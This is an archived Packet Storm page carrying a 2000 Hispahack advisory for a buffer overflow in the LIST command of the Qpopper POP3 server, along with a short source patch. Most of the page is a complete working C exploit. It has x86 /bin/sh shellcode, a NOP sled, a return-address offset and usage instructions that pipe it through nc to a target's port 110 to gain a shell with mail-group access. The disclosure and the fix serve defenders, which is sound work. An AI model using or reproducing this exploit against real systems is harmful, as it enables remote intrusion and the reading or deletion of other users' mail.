exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

qpop-xploit.c

qpop-xploit.c
Posted Jan 27, 2000
Authored by Zhodiac | Site hispahack.ccc.de

Remote linux x86 exploit for Qpopper 3.0beta29 and below. (not 2.5.3) Overflows the LIST command and spawns a shell with the UID of the user who logged in (requires valid account), and GID mail.

tags | exploit, remote, overflow, shell, x86
systems | linux
SHA-256 | 6e03060d06070addc039c651e773cc7edd7dfdbf64902dcb1d4ab4b12b4e97df

qpop-xploit.c

Change Mirror Download
 !Hispahack Research Team
http://hispahack.ccc.de

Program: Qpopper <= 3.0beta29 (2.53 and olders are not vulnerable)
Platform: *nix
Risk: Remote access
Author: Zhodiac <zhodiac@softhome.net>
Date: 20/1/2000


- Problem:
===========

The, nowadays, so common qpop pop3 server is one of the best server
which implements some features added not in normal pop3d. Like almost all
software it has some security bugs. In this case, once you pass the
login process you can execute malicious code due to a buffer overflow.

With this buffer overflow (second argument of the LIST command) you
can execute malicious code with the uid of the user you logged in, and
with gid mail. Due to have gid mail, in some systems you can read all the
mail of other users and even change/delete it.


- Exploit:
==========

For proof of vulnerability we release the Linux x86 xploit. But be
aware, no public xploit for your system does not mean you can't be
hacked. Vulnerability exists, fix it!

------- qpop-xploit.c ----------

/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <zhodiac@softhome.net>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28 offset=0
* 3.0beta26 offset=0
* 3.0beta25 offset=0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
*/

#include <stdio.h>

#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4

char shellcode[]=
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
"\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";


void usage(char *progname) {
fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=OFFSET;
int aux;

fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");

if (argc<3) usage(argv[0]);

if (argc==4) offset+=atol(argv[3]);

ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=sizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=strlen(shellcode);
long_ptr=(unsigned long*)ptr;
for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
ptr=(char *)long_ptr;
*ptr='\0';

fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
fprintf(stderr,"Offset: 0x%lx\n\n",offset);

printf("USER %s\n",argv[1]);
sleep(1);
printf("PASS %s\n",argv[2]);
sleep(1);
printf("LIST 1 %s\n",buffer);
sleep(1);
printf("uname -a; id\n");

return(0);
}

------- qpop-xploit.c ---------


- Fix:
======

Best solution is to wait for a new patched version, meanwhile here you
have a patch that will stop this attack (be aware that this patch was not
done after a total revision of the code, maybe there are some other
overflows).

------ pop_list.patch ---------

77c77
< return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %s",
---
> return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %.128s",

------ pop_list.patch ---------

piscis:~# patch pop_list.c pop_list.patch
piscis:~#

Spain r0x

Greets :)

Zhodiac


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close